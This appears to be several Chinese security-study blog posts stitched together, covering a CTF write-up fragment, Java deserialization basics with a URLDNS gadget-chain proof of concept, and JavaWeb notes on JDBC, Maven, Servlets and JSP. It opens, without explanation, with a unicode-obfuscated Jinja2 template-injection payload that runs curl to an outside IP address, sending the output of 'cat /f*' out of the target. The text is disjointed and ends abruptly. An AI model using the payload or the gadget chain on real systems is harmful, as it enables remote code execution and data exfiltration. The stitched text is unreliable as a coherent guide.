{%25set%09a="\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"%25}
{%25set%09b="\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f"%25}
{%25set%09cmd="\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0022\u006f\u0073\u0022\u0029\u002e\u0073\u0079\u0073\u0074\u0065\u006d\u0028\u0022\u0063\u0075\u0072\u006c\u0020\u0031\u0038\u0032\u002e\u0036\u0031\u002e\u0034\u0036\u002e\u0031\u0033\u0038\u003f\u0060\u0063\u0061\u0074\u0020\u002f\u0066\u002a\u0060\u0022\u0029"%25}
{%25set%09c=(lipsum|attr(a))|attr("\u0067\u0065\u0074")(b)|attr("\u0067\u0065\u0074")("\u0065\u0076\u0061\u006c")(cmd)%25}

绝对防御

呜呜呜我是笨比,找到了文件都没想着直接打开一下😭

扫不出东西就看看JS吧,其中一个文件的API带了php文件ImLib.API_PATH = "/SUPPERAPI.php";,看一下,有源码

<script>

function getQueryVariable(variable)
{
       var query = window.location.search.substring(1);
       var vars = query.split("&");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split("=");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
}

function check(){
		var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
        if (reg.test(getQueryVariable("id"))) {
            alert("提示:您输入的信息含有非法字符!");
            window.location.href = "/"
         }
}
check()
</script>

Java序列化基础

Java序列化基础

序列化与反序列化

序列化就是将一个对象压缩为字节流的形式,而反序列化就是将字节流转换回内存中的对象

为什么会不安全

  • 对于Java来说,反序列化不安全的点,是在于其反序列化时进行了“额外的操作”(重写readObject方法中的内容)
  • 可能的危险形式
  • 入口类的readObject直接调用危险方法
  • 入口类参数中包含可控类,该类有危险方法,readObject时调用
  • 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用,比如在类型为Object时调用对应的equals/hashcode/toString等方法
  • 构造函数或静态代码块等类加载时隐式执行

一些条件

共同条件:实现Serializable接口

入口类 source(重写readObject,参数类型宽泛,最好JDK自带)

调用链 gadget chain

执行类 sink (RCE,SSRF,写文件等)

反射

官方释义:Java的反射机制是指在运行状态中,对于任意一个类都能知道这个类的所有属性和方法,并且对于任意一个对象,都能调用它的任意一个方法,这种动态获取信息以及动态调用对象方法的功能称为Java的反射机制

作用

  • 让Java具有动态性
  • 修改已有对象的属性
  • 动态生成对象
  • 动态调用方法
  • 操作内部类和私有方法

一些反射方法

  • obj.getClass()获取对象类Class对象
  • cla.getConstructor(参数1类型,参数2类型)获取对象指定形式的构造方法Constructor对象
  • cst.newInstance(参数1,参数2)通过指定的构造方法新建对一个对应类的对象
  • cls.getDeclaredFields()获取所有类中声明的变量,返回一个Field数组
  • cls.getDeclaredField(变量名)通过变量名获得该类变量对象,返回一个Field对象
  • fld.set(对象,新变量值)给对象设置新变量内容
  • fld.setAccessible(布尔)给类的变量设置访问属性,true为可访问
  • cls.getMethods()获取类的所有方法,返回一个Method数组
  • cls.getMethods(方法名,参数范型)通过方法名获取该类方法,返回一个Method对象
  • med.invoke(对象,传参)

反射在反序列化中的应用

  • 定制需要的对象
  • 通过invoke调用除同名函数之外的函数
  • 通过Class类创建对象,引入不能序列化的类

代理

为其他对象提供一个代理来访问原对象,比如各种的get和set方法就是一种代理

静态代理

动态代理

需要使用JDK中的Proxy类

Java序列化实例

需要实现java.io.Serializable接口(该接口是一个空接口)

//Person.java
package top.darkflow;

import java.io.Serializable;

public class Person implements Serializable {
    public String name;
    public int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
}
//Main.java
package top.darkflow;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Main {
    public static void main(String[] args) throws IOException {
        Person p=new Person("Jlan",18);
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ser.ser"));
        objectOutputStream.writeObject(p);//序列化过程
        objectOutputStream.close();
    }
}

一些注意事项

  • 序列化针对的是对象而不是类,所以在序列化时静态成员是不会被序列化的
  • 如果子类实现了Serializable接口而父类没有实现,那么在序列化时父类定义的内容不会被序列化
  • 如果类中添加了transient关键字,那么该属性不会被序列化
//Main.java
package top.darkflow;

import java.io.*;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream("ser.ser"));
        Person p=(Person)objectInputStream.readObject();//需要强制类型转换
        System.out.println(p.name);
        objectInputStream.close();
    }
}
  • 类中serialVersionUID,如果序列化与反序列化类的serialVersionUID不同会直接抛出异常

一个简单的反序列化链

URLDNS

  • 该链由两个类组成,分别是HashMap和URLStreamHandler类

  • HashMap中重载了readObject函数

    for (int i = 0; i < mappings; i++) {
    		@SuppressWarnings("unchecked")
    			K key = (K) s.readObject();
    		@SuppressWarnings("unchecked")
          V value = (V) s.readObject();
        putVal(hash(key), key, value, false, false);
    }

    此处调用了hash函数,那么如果其中有变量重写了hash函数,那么就有可能有漏洞

  • 我们发现URLStreamHandler类中的hashCode函数调用了getHostAddress方法,此处对传入参数u进行了DNS查询,此时反序列化链就明显了

  • ```
    HashMap.readObject->URLStreamHandler.hashCode->getHostAddress

    
    ```java
    public class Main {
        public static void main(String[] args) throws IOException, ClassNotFoundException {
            String url="http://kcywg9.ceye.io";
            URLStreamHandler handler=new SilentURLStreamHandler();
            HashMap ht=new HashMap();
            URL u=new URL(null,url,handler);
            ht.put(u,url);
            ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("ht.ser"));
            objectOutputStream.writeObject(ht);//序列化过程
            objectOutputStream.close();
        }
        static class SilentURLStreamHandler extends URLStreamHandler{
            SilentURLStreamHandler(){}
            protected URLConnection openConnection(URL u) throws IOException{
                return null;
            }
            protected synchronized InetAddress getHostAddress(URL u){return null;}
        }
    }

JavaWeb入门

JavaWeb

JDBC API

快速入门

  1. 创建工程导入驱动jar包
  2. 注册驱动Class.forName("com.mysql.jdbc.Driver");
  3. 获取链接Connection conn= DriverManager.getConnection(url,username,password);
  4. 准备sql语句String sql="update nnn set id=5 where id=4";
  5. 获取执行sql对象StatementStatement stmt=conn.createStatement();
  6. 执行sql并获取返回内容int count=stmt.executeUpdate(sql);
  7. 关闭链接stmt.close();conn.close();

API详解

DriverManager
  • 驱动管理类的作用
    • 注册驱动
    • 获取数据库的连接
  • 一些方法(都是静态方法)
    • getConnection()尝试建立与给定数据库URL的连接
      • url:jdbc:数据库类型://IP:端口/数据库名称?参数
    • registerDriver()注册给定的驱动程序,上面mysql中的Driver类本质利用的还是这个函数
Connection
  • 数据库连接对象的作用

    • 获取执行SQL的对象
    • 管理事务
  • 一些方法

    • Statement createStatement()普通执行SQL对象

    • PreparedStatement preparedStatement(sql)预编译SQL的执行SQL对象,防SQL注入

      • 首先获取一个PreparedStatement对象,然后SQL语句中的参数值用?代替占位
      • 进行setxxx(参数1,参数2)来给?赋值
      • 直接执行无需再次穿参
    • MySQL事务管理

    • setAutoCommit(boolen)true为自动提交事务,false为手动提交事务,即为开启事务

    • commit()提交事务

    • rollback()回滚事务

Statement
  • 作用:执行SQL语句
  • int executeUpdate(sql)执行DML,DDL语句,返回DML语句影响的行数,DDL语句执行后,执行成功也可能返回0
  • ResultSet executeQuery(sql)执行DQL语句,返回结果集对象
  • ResultSet
    • next()光标向后移一位并判断是否有内容
    • gets数据类型(列名或列数)获取当前光标指向的内容
数据库连接池
  • 为了保持数据库连接存在

  • 使用过程

    1. 导入jar包

    2. 定义配置文件,示例如下

      driverClassName=com.mysql.jc.jdbc.Driver
      url=jdbc:mysql://127.0.0.1:3306/db1?characterEncoding=utf-8
      username=root
      password=123456
      initialSize=5
      maxActive=10
      maxWait=5000
    3. 导入配置文件Properties prop=new Properties();

      prop.load(new FileInputStream("/Users/jlan/IdeaProjects/JavaWeb/jdbc-demo/src/druid.properties"));

    4. 建立连接DataSource dataSource= DruidDataSourceFactory.createDataSource(prop);
      Connection connection=dataSource.getConnection();

Maven
  • Maven是专门用于管理和构建Java项目的攻击,它的主要功能有

    • 提供了一套标准化的项目结构

      • maven-project——项目名称
        • src——源代码和测试代码目录
          • main——源代码目录
            • java——源代码Java文件目录
            • resources——源代码配置文件目录
            • webapp——web项目核心目录
          • test——测试代码目录
            • java——测试代码Java文件目录
            • resources——测试代码配置文件目录
          • pom.xml——项目核心配置文件
    • 提供了一套标准化的构建流程

      • 正常构建流程
        • 编译,测试,打包,发布
      • Maven提供一套命令来简单构建
    • 提供了一套依赖管理机制

      • 正常导入包流程

        • 下载jar包
        • 复制jar包到项目
        • 导入jar包
      • Maven导入包

        • 更改pom.xml配置文件即可

                  
  • 使用Maven构建的项目结构完全一样,所有IDE创建的Maven项目可以通用

  • Maven的仓库

    • 本地仓库:本地计算机上的一个目录
    • 中央仓库:由Maven团队维护的全球唯一的仓库
    • 远程仓库:一般是由公司搭建的私有仓库
MyBatis
  • 是一款持久层(负责将数据保存到数据库的那一层代码)框架,用于简化JDBC开发
  • JDBC的缺点:硬编码,操作繁琐
  • MyBatis通过配置文件解决了硬编码和操作繁琐的问题,通过预先定义的配置文件来简化连接及处理结果集的工作
Servlet
  • 第一个示例程序

  • ```java
    //MyFirstServlet.java
    package top.darkflow;
    import javax.servlet.*;
    import java.io.IOException;
    import java.io.PrintWriter;
    public class MyFirstServlet implements Servlet {

    public void init(ServletConfig config) throws ServletException {
        System.out.println("Init");
    }
    public void service(ServletRequest request, ServletResponse response)
            throws ServletException, IOException {
        System.out.println("From service");
        PrintWriter out = response.getWriter();
        out.println("Hello, Java Web.");
    }
    public void destroy() {
        System.out.println("Destroy");
    }
    public String getServletInfo() {
        return null;
    }
    public ServletConfig getServletConfig() {
        return null;
    }
    

    }

    
    - ```xml
      <!--web.xml-->
      <?xml version="1.0" encoding="UTF-8"?>
      <web-app version="2.4" xmlns="http://java.sun.com/xml/ns/j2ee"
               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
      http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
          <servlet>
              <servlet-name>MyFirstServletName</servlet-name>
              <servlet-class>com.skyline.MyFirstServlet</servlet-class>
          </servlet>
          <servlet-mapping>
              <servlet-name>MyFirstServletName</servlet-name>
              <url-pattern>/hello</url-pattern>
          </servlet-mapping>
      </web-app>
  • Web.xml文件的作用是告诉tomcat我们想要使用哪一个servlet来处理对应的请求,tomcat通过该文件来找到对应的servlet来完成请求及响应的过程

  • 将生成的class文件以及web.xml文件按照下面的目录结构放入webapps文件夹下

  • ```
    webapps

    • MyFirstServlet
      • WEB-INF
        • classes
          • top
            • darkflow
              • MyFirstServlet.class
        • web.xml
          
          - 重启tomcat服务并访问/MyFirstServlet/hello就能看到内容啦
          
          ##### JSP
          
          - 从上面的代码中可以看出,直接使用servlet生成网页,不仅代码写起来麻烦,可维护性也不高,为了把HTML中的这些非逻辑的部分抽离出,我们引入了JSP技术
          
          - JSP全称为JavaServer Pages,可以将其理解成一种高度抽象的servlet,在JSP运行期间实际上会被编译为servlet
          
          - 使用jsp我们只需要在WEB-INF旁创建一个jsp文件并写入代码即可
          
          - ```jsp
            <!--test.jsp-->
            <%@ page import="java.time.LocalDateTime" %>
            <html>
            <body>
            <h2>
            <%
            out.write(LocalDateTime.now().toString());
            %>
            </h2>
            </body>
            </html>
  • 此时我们访问/MyFirstServlet/test.jsp即可

  • 一些语法

    • <% 代码片段 %>等价于<jsp:scriptlet> 代码片段 </jsp:scriptlet>
    • <%! 一些变量声明 %>等价于<jsp:declaration> 代码片段 </jsp:declaration>

Servlet

配置文件web.xml的一个示例,通过配置文件来解析URL

<!DOCTYPE web-app PUBLIC
        "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
        "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
    <servlet>
        <servlet-name>downloadfile</servlet-name>
        <servlet-class>top.darkflow.Fileget</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>downloadfile</servlet-name>
        <url-pattern>/down</url-pattern>
    </servlet-mapping>
</web-app>

文件下载

public class Fileget extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String path=("/Users/jlan/IdeaProjects/javaweb-02-servlet/response/src/main/1.png");
        System.out.println("下载文件路径为:"+path);
        String fileName=path.substring(path.lastIndexOf('/')+1);
        resp.setHeader("Content-Disposition","attachment:filename="+fileName);
        FileInputStream in=new FileInputStream(path);
        int len=0;
        byte[] buffer = new byte[1024];
        ServletOutputStream out=resp.getOutputStream();
        while((len=in.read(buffer))>0){
            out.write(buffer,0,len);
        }
        in.close();
        out.close();
    }
}

获取POST参数

public class login extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Enumeration<String> a=req.getParameterNames();
        while(a.hasMoreElements()){
            String paraName=a.nextElement();
            System.out.println(paraName+"="+req.getParameter(paraName));
        }
    }
}

JSP

JSP在编译的时候会被转换成一个Java类

//初始化
pubilc void _jspInit(){

}
//销毁
public void _jspDestory(){

}
//JSPService
public void _jspService()(HttpServletRequest request,HttpServletResponse response)

JSP作用

判断请求

内置的一些对象

final javax.servlet.jsp.PageContext pageContext		//页面上下文

Spring